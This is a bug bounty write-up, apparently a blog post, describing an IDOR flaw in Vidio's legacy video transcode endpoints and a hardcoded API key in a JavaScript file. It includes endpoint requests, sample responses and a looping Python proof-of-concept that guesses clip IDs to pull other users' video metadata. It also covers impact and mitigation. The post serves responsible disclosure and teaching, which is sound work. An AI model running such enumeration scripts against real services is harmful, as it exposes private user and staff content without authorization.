BOOK THIS SPACE FOR AD
ARTICLE ADHello everyone,
In this post, I will show you how I discovered a broken authentication and authorization vulnerability, known as Insecure Direct Object Reference (IDOR), at the Legacy API Video Transcode endpoints. Due to this vulnerability, attackers could access transcoding job information for all clips and videos, including those of internal staff users, by simply guessing numeric identifiers due to their auto-increment nature. Additionally, I found a hardcoded credential leak involving the transcode API key in a JavaScript file.
What are insecure direct object references (IDOR)?
According to PortSwigger Web Security Academy, Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.
Some real-life cases of IDOR attacks:
IDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/users to PayPalIDOR allow access to payments data of any user to Nord SecurityInsecure Direct Object Reference (IDOR) — Delete Campaigns to HackerOneIDOR — Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertification GraphQL query to HackerOneIDOR allows an attacker to modify the links of any user to RedditStarbucks IDOR: How we prevented an information leak of 6 million Starbucks customersYou can also check “Top IDOR reports from HackerOne”.
Who is the target?
Vidio is one of Indonesia’s most popular news and entertainment websites, with live streaming channels, critically acclaimed original content, real-time audience involvement, and talent spotting competitions. Users can enjoy live streaming, watch TV and anytime, as well as other exclusive shows on Vidio.com anytime and anywhere.
Vidio has a Bug Bounty Program (BBP), you can check it on their page VIDIO BUG BOUNTY PROGRAM for more details on the program scope, rules, etc.
I had a positive impression of Vidio security team swift response to my bug report submissions. They consistently demonstrates excellent communication. Their prompt responses, clear explanations, and proactive updates contribute significantly to our collaborative efforts in maintaining a secure environment. I’d like to also highlight their help & feedback to this writing, their expertise and insights greatly enhanced the final piece, and I’m truly appreciative of the time and effort they dedicated to helping me.
Attack Scenario
When exploring the dashboard feature on Vidio, I noticed that the video upload is no longer available, I see a message “Saat ini fitur unggah sedang dinonaktifkan. Mohon maaf atas ketidaknyamanannya.”
So I tried to analyze the JavaScript file (mostly manual) instead & found some interesting API endpoints:
https://www.vidio.com/clips/{{clip_id}}/transcode_job.jsonhttps://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id={{job_id}}https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids={{video_id}}My assumption is these are legacy APIs that are used when users could upload video, but interestingly these endpoints can be used to fetch information from other users including internal Vidio users.
What is Video Transcode?
According to AWS, Video transcoding is the process of converting video files from one format to another by adjusting parameters such as resolution, encoding, and bitrate. Video is increasingly important to organizations of all sizes as a method of connecting and communicating with end users. However, setting up optimum video workflows is challenging because of the diverse requirements for bandwidth and end-user devices. With video transcoding, you can create video files in multiple resolutions and bitrate options from the original video file. You can also optimize video quality, so end users have more options and more control over their viewing experience.
Video Transcoding by WowzaSteps To Reproduce
For the tools, we can use Chrome & Postman. First, we need to retrieve the authentication cookie access_token, remember_user_token & _vidio_session.
[1] Clips Transcode Job
Request:
GET https://www.vidio.com/clips/{{clip_id}}/transcode_job.jsonResponse:
{"clip": {
"id": 3379622,
"video_id": 8015170,
"file_name": "ep_001_robot-20dan-20lansia_upload-daed",
"transcode_job_id": "ETS2f7da8fec8d588d50"
}
}
Surprisingly, this endpoint doesn’t need authentication, so attackers don’t need to register to Vidio to use it. From the response, we could also see that it’s returning information:
id; clip IDvideo_id; video ID associated with the clipfile_name; the original filename used when the user uploads the videotranscode_job_id; the transcode job ID[2] Video Transcode Job Status
Request:
GET https://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id={{job_id}}Headers:
cookie: access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{vidio_session}}
Response:
{"id": 2708103,
"key": "uploads/8015170/ep_001_robot-20dan-20lansia_upload-daed.mp4",
"state": "Finished"
}
From the response, we could also see that it’s returning information:
id; Internal IDkey; the original video file pathstate; transcode job state[3] Video Transcode Status
Request:
https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids={{video_id}}Headers:
cookie: access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{vidio_session}}
Response:
[{
"id": 8015170,
"status": true,
"published": false,
"transcode_status": "Finished"
}
]
From the response, we could also see that it’s returning information:
id; video IDstatus: transcode statuspublished: falsetranscode_status; transcode status text (Finished, Error)PoC Code
I also created simple PoC code written in Python by using random 7 digits to guess the clip_id. So basically the flow is:
Get random 7 digits clip_idFetch the Clips Transcode Job by clip_idto get the transcode_job_id & video_idFetch the Video Transcode Job Status by transcode_job_idFetch the Video Transcode Status by video_idFetch the Video Detail by video_id to get the Publish Status, Title & Publish Date.import requestsimport time
from random import randint
cookie = "access_token={{access_token}}; remember_user_token={{remember_user_token}}; _vidio_session={{_vidio_session}}"
x_api_key = "{{x_api_key}}"
def random_with_N_digits(n):
range_start = 10**(n-1)
# range_end = (10**n)-1
range_end = 4000000
return randint(range_start, range_end)
while True:
t = time.localtime()
current_time = time.strftime("%H:%M:%S", t)
print(current_time)
# Get random 7 digits clip_id
clip_id = str(random_with_N_digits(7))
url = "https://www.vidio.com/clips/" + clip_id + "/transcode_job.json"
response = requests.get(
url=url,
headers={
'cookie': cookie
}
)
print("URL: " + url)
print("Response: " + response.text + "\n")
if response.status_code == 200:
# Get transcode job status by job_id
if response.json()['clip']['transcode_job_id'] != None:
transcode_job_id = response.json()['clip']['transcode_job_id']
url2 = "https://www.vidio.com/dashboard/videos/transcode_job_status.json?job_id=" + transcode_job_id
response2 = requests.get(
url=url2,
headers={
'cookie': cookie
}
)
print("URL: " + url2)
print("Response: " + response2.text + "\n")
# Get transcode status by video_ids
if response.json()['clip']['video_id'] != None:
video_id = str(response.json()['clip']['video_id'])
url3 = "https://www.vidio.com/dashboard/videos/transcode_status.json?video_ids=" + video_id
response3 = requests.get(
url=url3,
headers={
'cookie': cookie
}
)
print("URL: " + url3)
print("Response: " + response3.text + "\n")
# Get video publish status (published or draft)
if response.json()['clip']['video_id'] != None:
video_id = str(response.json()['clip']['video_id'])
url4 = "https://api.vidio.com/videos/" + video_id
response4 = requests.get(
url=url4,
headers={
'cookie': cookie,
'x-api-key': x_api_key
}
)
print("URL: " + url4)
if response4.status_code == 404:
print("Publish Status: Draft/ never published")
else:
video = response4.json()['videos'][0]
print("Publish Status: " + str(video['published']))
print("Title: " + video['title'])
print("Publish Date: " + video['publish_date'])
print("\n")
time.sleep(60)
We can save it as poc.py & run it with:
$ python poc.pyTranscode API Key
Just an additional information, I also found hardcoded credentials in the JS file:
VideoUploader: {TRANSCODE_API_KEY: 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXX973',
TRANSCODER_ENGINE: 'aws',
DEBUG_UPLOADER: false,
},
I haven’t found a way to use the key as of now, but if it’s not used anymore, I recommend removing it as well.
Impact
The discovered vulnerabilities present several critical risks:
Unrestricted Access: Attackers could access all transcoding job details using easily guessable numeric identifiers.Sensitive Information Exposure: Attackers may view sensitive information like filenames and video upload paths.Detection of Unpublished Content: Attackers can identify unreleased content, undermining marketing strategies.System Integrity Risks: Manipulation of transcoding data or publication statuses could destabilize the system.Financial and Legal Implications: Leaks of exclusive content could lead to financial losses and legal actions.Mitigation
Perform proper authentication on the affected endpoints.Perform proper authorization/ access control on the affected endpoints, e.g. only the owner of the video or administrator could access the information.Consider removing the endpoints if this is a legacy API that is not used anymore.Conclusion
In summary, the exploration of the broken auth & credential leak vulnerability within the legacy video transcode feature highlights the importance of maintaining the legacy feature to keep the system secure. From the security researcher's point of view, it also highlights the importance of JS (JavaScript) code analysis for content discovery that could lead to finding vulnerabilities.
Js analysis is an integral part of web penetration testing
— Jason Haddix